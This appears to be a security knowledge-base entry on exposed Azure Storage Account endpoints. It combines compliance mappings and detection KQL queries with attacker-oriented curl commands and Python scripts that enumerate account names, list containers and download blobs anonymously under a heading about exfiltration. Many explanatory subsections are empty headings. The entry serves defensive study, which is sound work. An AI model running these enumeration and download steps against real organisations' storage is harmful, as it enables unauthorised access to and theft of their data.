MCADDF

[MISCONFIG-013]: Storage Account Public Endpoints

1. METADATA HEADER

Attribute Details
Technique ID MISCONFIG-013
MITRE ATT&CK v18.1 T1526 - Cloud Service Discovery
Tactic Reconnaissance / Discovery
Platforms Entra ID / Azure
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Azure Storage Account versions
Patched In N/A (Configuration-based, not a code vulnerability)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2 Ensure that Public Network Access is Disabled for storage accounts
CIS Benchmark 5.1 Ensure that Storage blobs restrict public access
DISA STIG V-222569 Azure must restrict anonymous access to storage blobs and containers
CISA SCuBA SC-7(1) Boundary Protection - All Azure Storage Accounts must have restricted access
NIST 800-53 AC-3 Access Enforcement – Storage access must be controlled via RBAC or private endpoints
NIST 800-53 AC-6 Least Privilege – Default-deny public access, enable only for specific resources
GDPR Art. 32 Security of Processing – Must implement encryption, access controls, and data minimization
DORA Art. 9 Protection and Prevention – Cloud storage must be segregated and access-restricted
NIS2 Art. 21 Cyber Risk Management Measures – Public endpoints create exploitable weak points
ISO 27001 A.7.1 User Access Management – Storage access must align with organizational roles
ISO 27001 A.14.1 Information Security Requirements Analysis – Data classification must inform access controls
ISO 27005 Risk Scenario “Unauthorized access to cloud storage due to public endpoint misconfiguration”

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools (Optional):


4. ENVIRONMENTAL RECONNAISSANCE

Azure CLI Reconnaissance

# Attempt to list blobs in a publicly accessible container
az storage blob list --account-name <storage_account_name> --container-name <container_name> --auth-mode login

What to Look For:

PowerShell Reconnaissance

# Enumerate storage account properties to detect public endpoints
Get-AzStorageAccount -ResourceGroupName <resource_group> -Name <storage_account> | Select-Object -Property @{Name='PublicNetworkAccess';Expression={$_.PublicNetworkAccess}}

What to Look For:

REST API / Browser Reconnaissance

GET https://<storage_account_name>.blob.core.windows.net/<container_name>?restype=container&comp=list

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Discovery via Azure Storage Explorer (GUI)

Supported Versions: Azure Storage Accounts all versions

Step 1: Enumerate Storage Account Names

Objective: Identify potential storage account names using common naming patterns.

Command (Web Browser / OSINT):

Organizations often use predictable storage account naming (e.g., companyname-prod-storage, client-backups, logs-archive). Conduct passive reconnaissance:

# Using DNS enumeration to discover storage accounts
nslookup -type=A <company>.blob.core.windows.net
dig +short <company>.blob.core.windows.net

# Or use cloud enumeration tools
python3 cloudmapper.py --account-name <company> --region global

Expected Output:

companydata.blob.core.windows.net has address 20.60.64.89

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: List Containers and Blobs

Objective: Enumerate containers and blob names to identify sensitive data.

Command:

curl -s "https://<storage_account_name>.blob.core.windows.net/?comp=list" | grep -oP '<Name>\K[^<]*' | head -20

Expected Output:

container-backups
customer-data
logs-2025-01
source-code-repo

What This Means:

OpSec & Evasion:

Step 3: Download Sensitive Data

Objective: Retrieve blob contents if no access restrictions are in place.

Command:

# Download individual blob
curl -s "https://<storage_account_name>.blob.core.windows.net/<container_name>/<blob_name>" -o downloaded_blob.bin

# Or use Azure CLI
az storage blob download --account-name <storage_account_name> --container-name <container_name> --name <blob_name> --auth-mode login

Expected Output:

Blob downloaded successfully to downloaded_blob.bin

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Programmatic Discovery via Python / Azure SDK

Supported Versions: Python 3.6+, azure-storage-blob 12.0+

Step 1: Identify Storage Account Candidates

Objective: Use subdomain enumeration or OSINT to identify candidate storage account names.

Script:

import socket
import sys

def check_storage_account(account_name):
    """Test if a storage account exists and is publicly accessible."""
    domain = f"{account_name}.blob.core.windows.net"
    try:
        ip = socket.gethostbyname(domain)
        print(f"[+] Account '{account_name}' exists: {ip}")
        return True
    except socket.gaierror:
        print(f"[-] Account '{account_name}' not found")
        return False

# Generate candidate names
candidates = [
    "companydata-prod", "companydata-staging", "companydata-backup",
    "client-files", "customer-backups", "logs-archive"
]

for candidate in candidates:
    check_storage_account(candidate)

Expected Output:

[+] Account 'companydata-prod' exists: 20.60.64.89
[+] Account 'customer-backups' exists: 20.62.128.55
[-] Account 'client-files' not found

What This Means:

Step 2: Enumerate Containers and Blobs

Objective: List all containers and their contents.

Script:

from azure.storage.blob import BlobServiceClient, BlobSasPermissions, generate_blob_sas
from datetime import datetime, timedelta
import requests

account_name = "companydata-prod"
container_name = "customer-data"

# Attempt anonymous access
endpoint = f"https://{account_name}.blob.core.windows.net"

try:
    # Try to list containers anonymously
    client = BlobServiceClient(account_url=endpoint, credential=None)
    containers = client.list_containers()
    
    for container in containers:
        print(f"[+] Container: {container['name']}")
        
        # List blobs in container
        container_client = client.get_container_client(container['name'])
        blobs = container_client.list_blobs()
        
        for blob in blobs:
            print(f"  └─ {blob.name} ({blob.size} bytes)")
            
except Exception as e:
    print(f"[-] Error: {e}")

Expected Output:

[+] Container: customer-data
  └─ customer_2025_01.xlsx (2048000 bytes)
  └─ financial_records.csv (512000 bytes)
  └─ source_code.zip (10485760 bytes)

Step 3: Download and Exfiltrate Data

Objective: Retrieve blob contents programmatically.

Script:

from azure.storage.blob import BlobServiceClient

account_name = "companydata-prod"
container_name = "customer-data"
blob_name = "customer_2025_01.xlsx"

endpoint = f"https://{account_name}.blob.core.windows.net"
client = BlobServiceClient(account_url=endpoint, credential=None)

try:
    blob_client = client.get_blob_client(container=container_name, blob=blob_name)
    
    # Download blob
    download_stream = blob_client.download_blob()
    
    with open(f"/tmp/{blob_name}", "wb") as f:
        f.write(download_stream.readall())
    
    print(f"[+] Downloaded: {blob_name}")
    
except Exception as e:
    print(f"[-] Failed: {e}")

Expected Output:

[+] Downloaded: customer_2025_01.xlsx

OpSec & Evasion:

References & Proofs:


6. ATTACK SIMULATION & VERIFICATION

This section is not applicable. MISCONFIG-013 is a configuration-based exposure, not an executable attack that can be simulated through Atomic Red Team.


7. DETECTION & FORENSIC ARTIFACTS

Indicators of Compromise (IOCs)

Forensic Artifacts


8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if public network access is disabled
$storageAccount = Get-AzStorageAccount -ResourceGroupName "MyResourceGroup" -Name "mystorageaccount"
$storageAccount.PublicNetworkAccess

Expected Output (If Secure):

Disabled

What to Look For:


9. DETECTION & INCIDENT RESPONSE

Azure Monitor / Sentinel Detection Rules

KQL Query 1: Unauthorized Blob Access Attempts

StorageAccountLogs
| where OperationName == "GetBlobProperties" or OperationName == "ListBlobsHierarchy"
| where AuthenticationStatus == "Anonymous" or AuthenticationStatus == "Unauthenticated"
| where StatusCode == 200
| summarize Count=count() by UserAgent, ClientIP, OperationName, TimeGenerated
| where Count > 10

What This Detects:

Applies To: All Azure Storage Accounts with logging enabled.

KQL Query 2: Changes to Blob Public Access Level

AzureActivity
| where OperationName == "Create or Update Container" or OperationName == "Create Blob Container"
| where Properties.PublicAccess == "Container" or Properties.PublicAccess == "Blob"
| project TimeGenerated, Caller, OperationName, Properties, ResourceGroup

What This Detects:


Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-005] Azure Resource Graph Enumeration Attacker maps Azure environment to identify storage accounts
2 Current Step [MISCONFIG-013] Storage Account Public Endpoints exposed
3 Exfiltration [T1567.002] Exfiltration Over Alternative Protocol Download sensitive blobs to external location
4 Impact Data Breach / Compliance Violation Leaked customer PII, source code, or financial records

11. REAL-WORLD EXAMPLES

Example 1: Microsoft Storage Account Exposure (2019)

Example 3: Azure Storage Account Fuzzing Campaign (2023)


12. REMEDIATION CHECKLIST


13. ADDITIONAL NOTES